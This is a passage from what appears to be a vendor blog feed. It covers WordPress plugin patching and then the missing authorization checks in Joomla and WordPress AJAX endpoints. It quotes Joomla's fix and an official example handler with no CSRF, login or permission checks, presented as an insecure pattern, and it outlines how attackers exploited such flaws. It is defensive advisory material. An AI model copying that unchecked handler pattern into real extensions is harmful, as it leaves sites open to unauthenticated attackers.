&lt;li&gt;Any site on 3.35.7 or earlier is vulnerable - update it&lt;/li&gt;
&lt;li&gt;Repeat for Yoast SEO, WPForms, and Really Simple Security&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Sites running vulnerable versions are flagged automatically with a red &quot;Vulnerable Plugins!&quot; badge. You do not need to remember version numbers or cross-reference CVE databases - the dashboard does it for you.&lt;/p&gt;
&lt;p&gt;Once you&apos;ve identified the sites that need updating, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push the updates in bulk&lt;/a&gt; from the same dashboard. No SSH access required, no logging into individual admin panels.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Try a free audit&lt;/a&gt; to see where any single site stands, or &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;sign up&lt;/a&gt; to connect your full portfolio and get this visibility across all your sites.&lt;/p&gt;
&lt;h3&gt;WP-CLI Check (Command Line)&lt;/h3&gt;
&lt;p&gt;If you have SSH access and WP-CLI installed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp plugin list --fields=name,version,update_version --format=table
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This shows the installed version alongside the available update version. Run it on each site, or script it across multiple servers.&lt;/p&gt;
&lt;h2&gt;What to Do After Updating&lt;/h2&gt;
&lt;p&gt;Patching is step one. For the two unauthenticated vulnerabilities (WPForms and Really Simple Security), consider whether exploitation may have occurred before you applied the patch:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WPForms&lt;/strong&gt;: Review form submission logs for unusual entries. Check whether any form data was accessed by unauthorized parties. If you collect payment or personal data through WPForms, assess whether a data breach notification is required under your jurisdiction&apos;s privacy laws.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Really Simple Security&lt;/strong&gt;: Check your SSL/security settings are still correctly configured. Verify HTTPS enforcement is active. Review the plugin&apos;s settings page for unexpected changes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Both&lt;/strong&gt;: Run a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; and check for &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;signs of compromise&lt;/a&gt;. Look for unfamiliar admin accounts, modified files, or unexpected cron jobs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the two authenticated vulnerabilities (Elementor and Yoast SEO), review your user list. If any contributor or author accounts were created without your knowledge, that is worth investigating regardless of these specific CVEs.&lt;/p&gt;
&lt;h2&gt;Are Auto-Updates Enough?&lt;/h2&gt;
&lt;p&gt;WordPress supports per-plugin auto-updates, and many hosts enable them by default. In theory, your sites should have received these patches automatically. In practice:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Some agencies &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable auto-updates&lt;/a&gt; for stability reasons&lt;/li&gt;
&lt;li&gt;Some hosts delay or batch auto-updates&lt;/li&gt;
&lt;li&gt;Plugin auto-updates can fail silently if the site has filesystem permission issues&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;Minor-only auto-update policies&lt;/a&gt; may not catch plugin updates at all&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Auto-updates are a good safety net, not a replacement for monitoring. The only way to be certain a patch landed is to verify the installed version. Trust, but verify.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-10 rounded-xl border border-neutral-200 bg-neutral-50 p-6 dark:border-neutral-700 dark:bg-neutral-900&quot;&amp;gt;
&amp;lt;div class=&quot;flex items-start gap-4&quot;&amp;gt;
&amp;lt;div class=&quot;flex shrink-0 items-center gap-1 text-yellow-500&quot;&amp;gt;
&amp;lt;svg class=&quot;h-5 w-5&quot; fill=&quot;currentColor&quot; viewBox=&quot;0 0 20 20&quot;&amp;gt;&amp;lt;path d=&quot;M9.049 2.927c.3-.921 1.603-.921 1.902 0l1.07 3.292a1 1 0 00.95.69h3.462c.969 0 1.371 1.24.588 1.81l-2.8 2.034a1 1 0 00-.364 1.118l1.07 3.292c.3.921-.755 1.688-1.54 1.118l-2.8-2.034a1 1 0 00-1.175 0l-2.8 2.034c-.784.57-1.838-.197-1.539-1.118l1.07-3.292a1 1 0 00-.364-1.118L2.98 8.72c-.783-.57-.38-1.81.588-1.81h3.461a1 1 0 00.951-.69l1.07-3.292z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;svg class=&quot;h-5 w-5&quot; fill=&quot;currentColor&quot; viewBox=&quot;0 0 20 20&quot;&amp;gt;&amp;lt;path d=&quot;M9.049 2.927c.3-.921 1.603-.921 1.902 0l1.07 3.292a1 1 0 00.95.69h3.462c.969 0 1.371 1.24.588 1.81l-2.8 2.034a1 1 0 00-.364 1.118l1.07 3.292c.3.921-.755 1.688-1.54 1.118l-2.8-2.034a1 1 0 00-1.175 0l-2.8 2.034c-.784.57-1.838-.197-1.539-1.118l1.07-3.292a1 1 0 00-.364-1.118L2.98 8.72c-.783-.57-.38-1.81.588-1.81h3.461a1 1 0 00.951-.69l1.07-3.292z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;svg class=&quot;h-5 w-5&quot; fill=&quot;currentColor&quot; viewBox=&quot;0 0 20 20&quot;&amp;gt;&amp;lt;path d=&quot;M9.049 2.927c.3-.921 1.603-.921 1.902 0l1.07 3.292a1 1 0 00.95.69h3.462c.969 0 1.371 1.24.588 1.81l-2.8 2.034a1 1 0 00-.364 1.118l1.07 3.292c.3.921-.755 1.688-1.54 1.118l-2.8-2.034a1 1 0 00-1.175 0l-2.8 2.034c-.784.57-1.838-.197-1.539-1.118l1.07-3.292a1 1 0 00-.364-1.118L2.98 8.72c-.783-.57-.38-1.81.588-1.81h3.461a1 1 0 00.951-.69l1.07-3.292z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;svg class=&quot;h-5 w-5&quot; fill=&quot;currentColor&quot; viewBox=&quot;0 0 20 20&quot;&amp;gt;&amp;lt;path d=&quot;M9.049 2.927c.3-.921 1.603-.921 1.902 0l1.07 3.292a1 1 0 00.95.69h3.462c.969 0 1.371 1.24.588 1.81l-2.8 2.034a1 1 0 00-.364 1.118l1.07 3.292c.3.921-.755 1.688-1.54 1.118l-2.8-2.034a1 1 0 00-1.175 0l-2.8 2.034c-.784.57-1.838-.197-1.539-1.118l1.07-3.292a1 1 0 00-.364-1.118L2.98 8.72c-.783-.57-.38-1.81.588-1.81h3.461a1 1 0 00.951-.69l1.07-3.292z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;svg class=&quot;h-5 w-5&quot; fill=&quot;currentColor&quot; viewBox=&quot;0 0 20 20&quot;&amp;gt;&amp;lt;path d=&quot;M9.049 2.927c.3-.921 1.603-.921 1.902 0l1.07 3.292a1 1 0 00.95.69h3.462c.969 0 1.371 1.24.588 1.81l-2.8 2.034a1 1 0 00-.364 1.118l1.07 3.292c.3.921-.755 1.688-1.54 1.118l-2.8-2.034a1 1 0 00-1.175 0l-2.8 2.034c-.784.57-1.838-.197-1.539-1.118l1.07-3.292a1 1 0 00-.364-1.118L2.98 8.72c-.783-.57-.38-1.81.588-1.81h3.461a1 1 0 00.951-.69l1.07-3.292z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;span class=&quot;ml-1 text-sm font-semibold text-neutral-900 dark:text-neutral-100&quot;&amp;gt;4.6/5&amp;lt;/span&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;p class=&quot;mt-3 text-lg font-semibold text-neutral-900 dark:text-neutral-100&quot;&amp;gt;Rated 4.6/5 by WP Mayor&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-neutral-600 dark:text-neutral-400&quot;&amp;gt;&quot;An excellent solution for agencies and developers who manage multiple WordPress and Joomla sites. The vulnerability scanning and alerting alone make it worth the subscription.&quot;&amp;lt;/p&amp;gt;
&amp;lt;div class=&quot;mt-4 flex flex-wrap items-center gap-3&quot;&amp;gt;
&amp;lt;a href=&quot;https://wpmayor.com/mysites-guru-review/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; class=&quot;inline-flex items-center gap-2 rounded-md border border-neutral-300 bg-white px-4 py-2 text-sm font-medium text-neutral-700 no-underline hover:bg-neutral-100 dark:border-neutral-600 dark:bg-neutral-800 dark:text-neutral-200 dark:hover:bg-neutral-700&quot;&amp;gt;Read the WP Mayor review&amp;lt;/a&amp;gt;
&amp;lt;a href=&quot;https://manage.mysites.guru/en/register&quot; class=&quot;inline-flex items-center gap-2 rounded-md bg-neutral-900 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-neutral-800 dark:bg-white dark:text-neutral-900 dark:hover:bg-neutral-100&quot;&amp;gt;Try mySites.guru free&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2026/04/vulnerability-patch-roundup-march-2026.html&quot;&gt;Vulnerability &amp;amp; Patch Roundup - March 2026&lt;/a&gt; - Sucuri&apos;s comprehensive monthly roundup covering all four CVEs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/&quot;&gt;Wordfence Threat Intelligence - WordPress Plugin Vulnerabilities&lt;/a&gt; - searchable database of disclosed WordPress plugin CVEs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patchstack.com/database/&quot;&gt;Patchstack Vulnerability Database&lt;/a&gt; - independent WordPress security intelligence with CVSS scoring&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/plugins/wordpress-org/plugin-developer-faq/#auto-updates&quot;&gt;WordPress Plugin Auto-Updates Documentation&lt;/a&gt; - official WordPress developer docs on auto-update behaviour&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&quot;&gt;CISA Known Exploited Vulnerabilities Catalog&lt;/a&gt; - US government catalog of actively exploited vulnerabilities (none of these four are listed as of April 2026)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>plugins</category><category>vulnerability</category><category>updates</category><category>elementor</category><category>yoast</category><enclosure url="https://mysites.guru/_astro/four-wordpress-plugins-security-patches-march-2026.B9Iz7Jeb.png" length="0" type="image/png"/></item><item><title>AJAX Endpoints Are A Big CMS Security Blind Spot</title><link>https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/</link><guid isPermaLink="true">https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/</guid><description>Five AJAX and API vulnerabilities hit Joomla and WordPress in March 2026, all sharing one root cause. Here is what went wrong and how to protect your sites.</description><pubDate>Fri, 03 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In March 2026, five separate AJAX and API vulnerabilities were disclosed across Joomla and WordPress. All five exploited the same weakness: AJAX endpoints that, at most, verify a CSRF token but never check who the user is or whether they have permission to perform the action.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update (April 7, 2026):&lt;/strong&gt; the pattern continued into April. On April 6, Wordfence publicly disclosed &lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;CVE-2026-0740 in Ninja Forms File Uploads&lt;/a&gt;, a CVSS 9.8 unauthenticated arbitrary file upload in another WordPress plugin AJAX handler. It affects around 50,000 sites, and the first patch the vendor shipped did not actually fix the issue - only 3.3.27 closes it. Same root cause, same surface, different plugin.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The individual vulnerabilities have been patched.&lt;/strong&gt; Joomla 5.4.4 added a framework-level authentication check to &lt;code&gt;com_ajax&lt;/code&gt;, and WordPress&apos;s &lt;code&gt;admin-ajax.php&lt;/code&gt; already requires a login for non-&lt;code&gt;nopriv&lt;/code&gt; hooks. But neither system checks &lt;em&gt;authorization&lt;/em&gt; at the framework level. That is still the developer&apos;s responsibility, and the pattern of AJAX handlers shipping without capability checks shows that too many developers do not realise it.&lt;/p&gt;
&lt;h2&gt;What makes AJAX endpoints so dangerous?&lt;/h2&gt;
&lt;p&gt;Both Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; and WordPress&apos;s &lt;code&gt;admin-ajax.php&lt;/code&gt; were built as lightweight utility endpoints. They exist so plugins and extensions can handle AJAX requests without needing their own dedicated routes. Convenient for developers, dangerous in practice.&lt;/p&gt;
&lt;p&gt;The design assumption behind both systems is the same: the plugin on the other end will handle its own security. The AJAX handler just passes the request through. At best, it verifies a CSRF token or nonce to confirm the request was not forged. But a CSRF check is not authentication, and it is definitely not authorization. It proves the request came from a legitimate page. It does not prove who sent it or whether they should be allowed to do what they are asking.&lt;/p&gt;
&lt;p&gt;Extension developers treat these endpoints as if they were internal buses, trusting that by the time a request reaches their code, it has already been validated. But &lt;code&gt;com_ajax&lt;/code&gt; is publicly accessible. &lt;code&gt;admin-ajax.php&lt;/code&gt; is accessible to any authenticated user, including subscribers. When the plugin on the other end skips its own authorization check, you get an unauthenticated (or under-authenticated) attack surface hiding behind what looks like internal plumbing.&lt;/p&gt;
&lt;p&gt;That is not a one-off, and March 2026 proved it five times over.&lt;/p&gt;
&lt;h2&gt;What is the difference between authentication and authorization?&lt;/h2&gt;
&lt;p&gt;Most of the vulnerabilities in this post confuse these two concepts, or skip both entirely.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Authentication&lt;/strong&gt; verifies &lt;em&gt;who are you?&lt;/em&gt; - is this a real, logged-in user with a valid session? A CSRF token does not do this. It only confirms the request was not forged from another site. Checking authentication means checking the user&apos;s session state: &lt;code&gt;is_user_logged_in()&lt;/code&gt; in WordPress, or &lt;code&gt;$app-&amp;gt;getIdentity()-&amp;gt;id&lt;/code&gt; in Joomla (returns &lt;code&gt;0&lt;/code&gt; for guests).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Authorization&lt;/strong&gt; verifies &lt;em&gt;are you allowed to do this?&lt;/em&gt; - even if someone is logged in, they may not have permission for a specific action. A WordPress subscriber should not be able to export &lt;code&gt;wp-config.php&lt;/code&gt;. A Joomla user without admin privileges should not be able to upload files via a template framework. Checking authorization means an explicit capability check: &lt;code&gt;current_user_can(&apos;manage_options&apos;)&lt;/code&gt; in WordPress, or &lt;code&gt;$user-&amp;gt;authorise(&apos;core.manage&apos;, &apos;com_templates&apos;)&lt;/code&gt; in Joomla.&lt;/p&gt;
&lt;p&gt;Most of the AJAX vulnerabilities covered here had a CSRF token check but skipped both authentication and authorization. The request was not forged. Nobody checked who sent it.&lt;/p&gt;
&lt;h2&gt;Why did Joomla&apos;s own team have to harden com_ajax?&lt;/h2&gt;
&lt;p&gt;The most telling entry in the March 2026 disclosure list is &lt;a href=&quot;https://developer.joomla.org/security-centre/1027-20260301-core-acl-hardening-in-com-ajax.html&quot;&gt;CVE-2026-21629&lt;/a&gt; - and it did not come from a third-party extension. The Joomla Security Strike Team themselves found that &lt;code&gt;com_ajax&lt;/code&gt;, the component routing AJAX requests for every Joomla plugin, was excluded from the default logged-in-user check in the admin area.&lt;/p&gt;
&lt;p&gt;That means &lt;code&gt;com_ajax&lt;/code&gt; in the backend did not even require a logged-in user by default. The &lt;code&gt;AdministratorApplication&lt;/code&gt; class explicitly whitelisted &lt;code&gt;com_ajax&lt;/code&gt; on the same allowlist as the login page itself, so that pre-login AJAX calls (WebAuthn/passkey flows, CAPTCHA) could work. The consequence: any unauthenticated visitor could reach backend AJAX handlers directly.&lt;/p&gt;
&lt;p&gt;Third-party developers building admin AJAX handlers could reasonably assume the framework had already verified the user was authenticated. Every other backend component required a logged-in user. &lt;code&gt;com_ajax&lt;/code&gt; did not, and nothing in Joomla&apos;s developer documentation warned them otherwise. The official docs on &lt;code&gt;com_ajax&lt;/code&gt; focus entirely on mechanics - URL parameters, method naming, response formats - with no mention that the backend endpoint bypassed the normal login requirement.&lt;/p&gt;
&lt;p&gt;That left every extension developer responsible for rolling their own authentication and authorization checks inside every AJAX handler. Some did. Astroid and Novarain did not. And because the gap was invisible - nothing in the framework signalled that the developer needed to add those checks - the same mistake was made independently by multiple development teams.&lt;/p&gt;
&lt;p&gt;The severity was rated Low, but the implications are serious. This was not a plugin-level oversight. The framework itself had an authorization gap that every extension built on top of it inherited. The Astroid and Novarain vulnerabilities are the direct, predictable consequences of that gap.&lt;/p&gt;
&lt;h3&gt;What does the actual Joomla fix look like?&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/joomla/joomla-cms/commit/47b48aeceae211ae8016cf1da2b821a0d0467f55&quot;&gt;commit that fixed CVE-2026-21629&lt;/a&gt; is worth reading because it shows exactly how Joomla flipped the default. The fix adds a check at the top of &lt;code&gt;components/com_ajax/ajax.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$unauthorizedAdministratorAccessCheck = (
    $app-&amp;gt;isClient(&apos;administrator&apos;) &amp;amp;&amp;amp; $app-&amp;gt;getIdentity()-&amp;gt;guest
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the request is hitting the admin-area &lt;code&gt;com_ajax&lt;/code&gt; and the user is a guest (not logged in), the fix then uses PHP reflection to inspect the target method for a new attribute called &lt;code&gt;AllowUnauthorizedAdministratorAccess&lt;/code&gt;. If the method does not carry that attribute, the request is rejected with &lt;code&gt;JERROR_ALERTNOAUTHOR&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$verifyUnauthorizedAdministratorAccessCheck =
    function ($classOrObject, $method): void {
        $reflection = new ReflectionMethod(
            $classOrObject, $method
        );

        foreach ($reflection-&amp;gt;getAttributes() as $attribute) {
            if ($attribute-&amp;gt;getName()
                === AllowUnauthorizedAdministratorAccess::class
            ) {
                return;
            }
        }

        throw new RuntimeException(
            Text::_(&apos;JERROR_ALERTNOAUTHOR&apos;)
        );
    };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This check runs for every code path through &lt;code&gt;com_ajax&lt;/code&gt; - module helpers, plugins, and template helpers all get the same gate. The only way through as a guest is to explicitly opt in with the PHP attribute on your method:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#[AllowUnauthorizedAdministratorAccess]
public function onAjaxWebauthn(AjaxEvent $event): void
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The WebAuthn (passkey) plugin gets this attribute because it legitimately needs to work before login. Everything else is blocked by default.&lt;/p&gt;
&lt;p&gt;The default flipped. Before: open to everyone unless the developer adds a check. After: blocked for guests unless the developer explicitly opts in with a PHP attribute. Extensions like Astroid and Novarain would now be blocked automatically, because their AJAX methods do not carry the &lt;code&gt;AllowUnauthorizedAdministratorAccess&lt;/code&gt; attribute.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-red-200 bg-red-50 p-4 dark:border-red-800 dark:bg-red-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-red-900 dark:text-red-200&quot;&amp;gt;Backwards-compatibility break for Joomla extension developers&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-red-800 dark:text-red-300&quot;&amp;gt;This fix does not just block handlers that were missing authentication. It blocks any admin AJAX handler that does not authenticate &amp;lt;em&amp;gt;the Joomla way&amp;lt;/em&amp;gt; - specifically, by having a valid admin session. If a developer was already performing their own authentication checks (API key validation, custom token verification, IP-based restrictions, or any other method that does not go through Joomla&apos;s session system), their handler will now be rejected before their code even runs. The framework-level guest check fires first, and if there is no Joomla admin session, the request is denied regardless of what the handler itself would have done.&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2 text-sm text-red-800 dark:text-red-300&quot;&amp;gt;Developers who were doing the right thing - securing their AJAX handlers properly, just not using Joomla&apos;s built-in session system - are now broken alongside developers who were doing nothing at all.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;The only escape hatch is the &lt;code&gt;#[AllowUnauthorizedAdministratorAccess]&lt;/code&gt; attribute, which opts the method back out of the framework check entirely. But adding that attribute also removes the protection for handlers that genuinely were insecure, so developers need to be certain their own checks are solid before opting out.&lt;/p&gt;
&lt;p&gt;Extensions with legitimate pre-login needs (like WebAuthn) can opt back in with the attribute. Extensions that were unknowingly exposed (like Astroid and Novarain) get protected automatically. Extensions that had their own security but not via Joomla sessions get caught in the crossfire.&lt;/p&gt;
&lt;p&gt;Here is what makes this worse: the &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;official 5.4.4 / 6.0.4 release announcement&lt;/a&gt; does not mention this breaking change at all. The security fix is listed as &quot;[20260301] - ACL hardening in com_ajax&quot; with no further detail, no warning to extension developers, and no indication that existing plugins may stop working. The announcement even reassures developers that the upgrade is smooth and most extensions will work with the backwards compatibility plugin enabled.&lt;/p&gt;
&lt;p&gt;The actual documentation of this breaking change is &lt;a href=&quot;https://manual.joomla.org/migrations/54-60/known-issues/6.0.4/&quot;&gt;buried in the 6.0.4 known issues page&lt;/a&gt; on the Joomla developer manual - a page that most extension developers will never check for a point release. It acknowledges the change, notes that performing ACL checks in custom code &quot;was considered a best practice,&quot; and points to the WebAuthn plugin as a reference implementation for the new attribute. That is the entirety of the guidance.&lt;/p&gt;
&lt;p&gt;A security fix that changes the default behaviour of &lt;code&gt;com_ajax&lt;/code&gt; for every Joomla extension using admin AJAX handlers, that will silently break any plugin relying on the previous open default, shipped with a one-line entry in the release notes and was documented only in a known-issues sub-page of the migration manual. Any extension developer who updated to 5.4.4 and found their AJAX handlers returning authorization errors would have had no obvious explanation unless they stumbled onto that page.&lt;/p&gt;
&lt;p&gt;The security fix is the right call. Shipping a breaking change in a point release with no prominent warning to developers is not.&lt;/p&gt;
&lt;p&gt;It took over a decade of Joomla releases (3.0.0 through 5.4.3 and 6.0.0 through 6.0.3) for this default to be corrected. Every extension built during that time inherited the open default, and many shipped without the authentication checks that the framework should have enforced from the start.&lt;/p&gt;
&lt;h3&gt;The official Joomla docs still teach this insecure pattern&lt;/h3&gt;
&lt;p&gt;As of April 2026, the &lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/components/component-examples/ajaxdemo/&quot;&gt;Joomla developer manual&apos;s own AJAX example component&lt;/a&gt; ships with no CSRF token check, no authentication, and no authorization in its AJAX controller. The &lt;code&gt;AjaxController::divide()&lt;/code&gt; method reads user input directly from the request and returns a response without verifying anything about the caller:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function divide()
{
    $input = $this-&amp;gt;app-&amp;gt;input;
    $a = $input-&amp;gt;get(&quot;a&quot;, 0, &quot;float&quot;);
    $b = $input-&amp;gt;get(&quot;b&quot;, 0, &quot;float&quot;);
    // ... no Session::checkToken(), no $user-&amp;gt;authorise(), no guest check
    $result = $this-&amp;gt;_divide($a, $b);
    echo new JsonResponse($result, &quot;It worked!&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The JavaScript that calls this endpoint does not send a CSRF token either. Any anonymous visitor can hit &lt;code&gt;index.php?option=com_ajaxdemo&amp;amp;format=json&amp;amp;task=ajax.divide&lt;/code&gt; and the controller will happily process the request.&lt;/p&gt;
&lt;p&gt;It could be argued that this is just a simple frontend public example, and security checks would complicate the teaching. But it is called &quot;AjaxDemo&quot; and it does not even use &lt;code&gt;com_ajax&lt;/code&gt; - it routes through its own component controller. So the official AJAX example component does not demonstrate AJAX security &lt;em&gt;or&lt;/em&gt; &lt;code&gt;com_ajax&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This particular endpoint only divides two numbers, so the security impact is zero. But this is a &lt;em&gt;teaching example&lt;/em&gt;. Developers copy these patterns into real extensions that handle file uploads, database writes, and admin operations. If the official documentation demonstrates AJAX without any security checks, it should not be a surprise when developers ship extensions without any security checks.&lt;/p&gt;
&lt;p&gt;Would the 5.4.4 fix make this example secure? No. The &lt;code&gt;com_ajaxdemo&lt;/code&gt; example routes requests through its own component controller (&lt;code&gt;index.php?option=com_ajaxdemo&amp;amp;task=ajax.divide&lt;/code&gt;), not through &lt;code&gt;com_ajax&lt;/code&gt;. The 5.4.4 authentication check only applies to requests routed through &lt;code&gt;com_ajax&lt;/code&gt;. Components with their own controllers are completely unaffected by the fix. A developer who copies this pattern into an admin component will have an unauthenticated endpoint that no framework-level check will catch.&lt;/p&gt;
&lt;p&gt;It is not just the example component. The official documentation pages for &lt;a href=&quot;https://manual.joomla.org/docs/building-extensions/plugins/plugin-examples/ajax-plugin/&quot;&gt;AJAX plugins&lt;/a&gt;, &lt;a href=&quot;https://manual.joomla.org/docs/general-concepts/javascript/com-ajax/&quot;&gt;com_ajax&lt;/a&gt;, and &lt;a href=&quot;https://manual.joomla.org/docs/general-concepts/javascript/ajax/&quot;&gt;AJAX in general&lt;/a&gt; do not mention authentication or authorization either. Nowhere in Joomla&apos;s AJAX documentation does a developer encounter a warning that their handler needs to verify who is calling it or whether they have permission.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Astroid and Novarain developers did not invent the insecure pattern. They learned it.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;How does WordPress handle this differently?&lt;/h3&gt;
&lt;p&gt;WordPress takes the opposite default. Its &lt;code&gt;admin-ajax.php&lt;/code&gt; uses a two-hook system with baked-in authentication:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wp_ajax_{action}&lt;/code&gt; only fires if the user is logged in. WordPress checks &lt;code&gt;is_user_logged_in()&lt;/code&gt; itself, before any plugin code runs.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wp_ajax_nopriv_{action}&lt;/code&gt; fires for unauthenticated users. Developers must explicitly register this hook to allow guest access.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In WordPress, a developer has to opt into unauthenticated access. In Joomla before 5.4.4, a developer had to opt into authenticated-only access by coding the check themselves. The defaults were reversed.&lt;/p&gt;
&lt;p&gt;Neither system checks authorization (does this user have &lt;em&gt;permission&lt;/em&gt; to do this specific thing?) - that is still the developer&apos;s job on both platforms. But WordPress&apos;s framework-level gate catches the most common mistake: forgetting authentication entirely. Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; caught nothing until 5.4.4.&lt;/p&gt;
&lt;h2&gt;Which five incidents prove the AJAX frontdoor security lax pattern?&lt;/h2&gt;
&lt;p&gt;All five were disclosed in March 2026.&lt;/p&gt;
&lt;h3&gt;Astroid Framework for Joomla (CVE-2026-21628, CVSS 10.0)&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework vulnerability&lt;/a&gt; is the textbook example. The AJAX endpoint in &lt;code&gt;Admin.php&lt;/code&gt; used Joomla&apos;s &lt;code&gt;checkToken()&lt;/code&gt; to verify CSRF tokens but never checked whether the requester was actually an administrator. Attackers grabbed the token from the public login page and used it to upload backdoors and install SEO spam plugins. No login required. CVSS 10.0, the maximum possible score.&lt;/p&gt;
&lt;p&gt;The fix was a single authorization check: &lt;code&gt;$user-&amp;gt;authorise(&apos;core.manage&apos;, &apos;com_templates&apos;)&lt;/code&gt;. Standard Joomla ACL that should have been there from the start.&lt;/p&gt;
&lt;h3&gt;Novarain Framework for Joomla (CVE-2026-21627, CVSS 9.5)&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain/Tassos Framework vulnerability&lt;/a&gt; went further. Fully unauthenticated, with no token, no login, and no capability check at all. Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; routed requests to the nrframework plugin, which whitelisted file inclusion as a non-admin task. Attackers could include arbitrary PHP files, delete files, and perform SQL injection through a single AJAX endpoint. Six weeks after the patch, 46.5% of affected sites in our dataset were still running vulnerable versions.&lt;/p&gt;
&lt;h3&gt;Smart Slider 3 for WordPress (CVE-2026-3098, CVSS 6.5)&lt;/h3&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 vulnerability&lt;/a&gt; targeted the WordPress side. The plugin&apos;s export AJAX actions had a nonce for CSRF protection but no capability check. Any subscriber-level user could call the export function and download arbitrary files from the server, including &lt;code&gt;wp-config.php&lt;/code&gt; with database credentials and authentication keys. Smart Slider 3 has over 800,000 active installs, and roughly 500,000 were still running vulnerable versions at disclosure.&lt;/p&gt;
&lt;p&gt;Same pattern, different CMS. CSRF protection without authentication or authorization.&lt;/p&gt;
&lt;h3&gt;Joomla core com_ajax ACL hardening (CVE-2026-21629)&lt;/h3&gt;
&lt;p&gt;Covered in detail above. The framework routing every Joomla plugin&apos;s AJAX requests was itself missing the default authentication check in the admin area.&lt;/p&gt;
&lt;h3&gt;Joomla webservice endpoint access bypass (CVE-2026-23899)&lt;/h3&gt;
